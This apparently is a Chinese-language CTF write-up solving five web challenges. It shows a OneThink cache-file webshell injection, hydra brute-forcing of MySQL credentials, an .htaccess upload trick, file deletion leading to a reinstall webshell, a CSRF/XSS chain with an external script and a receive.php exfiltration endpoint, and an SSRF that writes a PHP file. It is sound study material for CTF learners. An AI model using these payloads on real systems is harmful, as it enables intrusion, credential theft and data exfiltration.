当天车上看了一会题,然后回来继续肝了一会,太累了睡着了...比较惨...今天就简单复现一下吧
A Simple CMS
进去之后发现是oneThink的框架
百度一下漏洞,发现有个缓存洞,然后我就直接访问了那个缓存文件,发现不存在...然后就没看了..看了wp发现就是缓存做的不过缓存改了,然后给了个www.zip让我们看文件..可还行..
思路就是以此注册两个账号
%0a$a=$_GET[a];//
和%0aecho `$a `;//
然后再依次登录,然后缓存文件就有shell了,本地实验一下,然后发现文件在Runtime/Temp/onethink_d403acece4ebce56a3a4237340fbbe70.php
然后就getshell了 burp的包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /index.php?s=/Home/User/register.html HTTP/1.1 Host : b87051f333804bcda22717be7b65a925c2190c99315c4e0e.game.ichunqiu.comContent-Length : 95Accept : application/json, text/javascript, */*; q=0.01Origin : http://b87051f333804bcda22717be7b65a925c2190c99315c4e0e.game.ichunqiu.comX-Requested-With : XMLHttpRequestUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36Content-Type : application/x-www-form-urlencoded; charset=UTF-8Referer : http://b87051f333804bcda22717be7b65a925c2190c99315c4e0e.game.ichunqiu.com/index.php?s=/Home/User/register.htmlAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8Cookie : UM_distinctid=163bce1a13fc08-098d67d4284b6b-737356c-1fa400-163bce1a140248; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; pgv_pvi=3919248384; pgv_si=s6303365120; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1532146491,1532218918,1532239817; ci_session=e130184c93df8e71c7b9b914a9a57533887d6aeb; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1532267215; PHPSESSID=5umnh4fksrbf55vrvd9aokaik0Connection : closeusername =%0 aecho `$a`;//&password=123321 &repassword=123321 &email=12344121 %40 qq.com&verify=elbpi
flag在tmp下
babyweb
hydra爆出mysql的root密码,虽然现在已经爆不了了..
1 hydra -l root -p 1q2w3e4r5t6y 117.50.1.145 mysql
当然里面的-p可以换成-P然后跟字典文件,这个弱密码在某top3575弱密码里面有,是可以爆出来的...
然后从库里面发现账号密码
1 2 username:BabyWeb@my.lol password:babyweb@1990
差一点点就猜出来了..我当时试的账号是BabyWeb@my.lol,密码试的是babyweb&1990,有点可惜...
进去之后发现了一个文件上传的点,上传的名字不知道,这里需要连数据库然后这里说只有.htaccess可以传,那就传.htaccess
1 2 3 <FilesMatch "abc"> SetHandler application/x-httpd-php </FilesMatch>
然后传个abc结尾的文件就getshell了
不过需要连接数据库...现在已经连不上了,就不演示了
非常规解是读了/etc/shadow,然后用john解出ssh密码然后连上去拿flag的...
大佬大佬orz...
pentest
这个题...好吧感觉蛮坑的,扫目录得到/file/file.php,发现是个任意文件删除,删除掉config里面的install.lock然后就可以重装,重装的时候数据库配置插入一句话木马,可以本地先试试,然后再去打服务器,然后就shell了...
然后/tmp下找到flag
1 flag{6d791d58-5b04-4406-ad07-78a3dcac6802}
Mysql Online
这个题的xss思路蛮好的,虽然题目是个mysql而且我思路一开始直接就错了...
利用sql读的数据可以造成xss 当然你也可以unhex一下,一样的
在提交的content里面填自己的vps,然后得到返回
可以看到登录页面,那么下面就是通过csrf来让他打到自己的页面咯,vps上构造页面
1 2 3 4 5 6 7 8 9 <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://127.0.0.1/runsql.php" method="POST"> <input type="hidden" name="sql" value="select 0x3c736372697074207372633d68747470733a2f2f78737370742e636f6d2f32724f7a6c773f313533323333333438363e3c2f7363726970743e" /> </form> <script>document.forms[0].submit();</script> </body> </html>
简单的一个页面,让服务端向127.0.0.1的runsql.php发请求,服务端请求之后导致xss的payload生效...第一次打csrf,学习了学习了...
服务端访问之后,信息打到xsspt上,看一下结果
发现cookie没东西,那我们去打一下admin_zzzz666.php的页面,得到结果
base解一下,得到页面内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 403: only 127.0.0.1 can find me, so you can get this: http://127.0.0.1/runsql.php <!DOCTYPE html> <html> <head> <title>Online Mysql Run</title> </head> <body> <h3>Admin Index:</h3> <img src="./static/img/iamsecret_555.jpg"> I am l3m0n tree. </body> </html>
发现有个图片,直接访问,发现403了,那么去获取这个图片咯,github上面有个可以canvas画页面的工具,给个链接
https://github.com/Lz1y/frame2canvas
然后修改一下配置 然后payload,payload注意hex一下然后传到sql变量里面
1 <iframe id="myIframe" src="admin_zzzz666.php"></iframe><script src="//attack.com/atk.js"></script>
然后写一个receive.php
1 2 3 <?php header ('Access-Control-Allow-Origin: *' );file_put_contents ('log.txt' ,$_POST ['v' ]);
然后就可以收到log.txt了,然后base转图片就可以看到flag了
dedefun
这个题其实还是远古的getimagesize暴路径那个点,不过有更新,就是getimagesize可以造成ssrf,比如说我在我的kali上配一个简单页面
访问之后,发现在vps上收到显示 然后就没有了,因为这道题就是个ssrf的点... 题目描述
1 2 3 4 5 6 7 8 运维自己的网站,我还是喜欢用shell的方式,这样肯定没人能日进来了。 1.php <?php if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') { die('Who are you? your ip is:'.$_SERVER['REMOTE_ADDR']); } $_GET['a']($_GET['b']); ?>
那么直接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /tags.php HTTP/1.1 Host : love.lemonCache-Control : max-age=0Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6Cookie : YDAL_2132_saltkey=umJCWaoK; YDAL_2132_lastvisit=1531231707; YDAL_2132_ulastactivity=8d9ffh%2BiVUvLiWxFVmAltTKPHq5V9hUJ5PvDa4s84r553KMhDZMx; YDAL_2132_auth=a017j1pf9qMN%2F5Pa1g7C6kyv3ik6f%2B7eqtppI5c6sSWzI0ggQU5wSkRNDoXuXqvSSMnI%2BN3ObxEMn7jaaNJW; YDAL_2132_nofavfid=1; YDAL_2132_lip=10.211.55.2%2C1531237092; YDAL_2132_home_diymode=1Connection : closeContent-Type : application/x-www-form-urlencodedContent-Length : 251dopost=save&_FILES[lsa][tmp_name]=http://127.0.0.1/1.php?a=assert%26b=file_put_contents($_GET [1 ],base64_decode($_GET[2]));%261=./uploads/soft/aaaa.php%262=PD9waHAgcGhwaW5mbygpOyA/Pg==&_FILES[lsa][name]=0&_FILES[lsa][size]=0&_FILES[lsa][type]=image/gif
就ok了,没啥好说的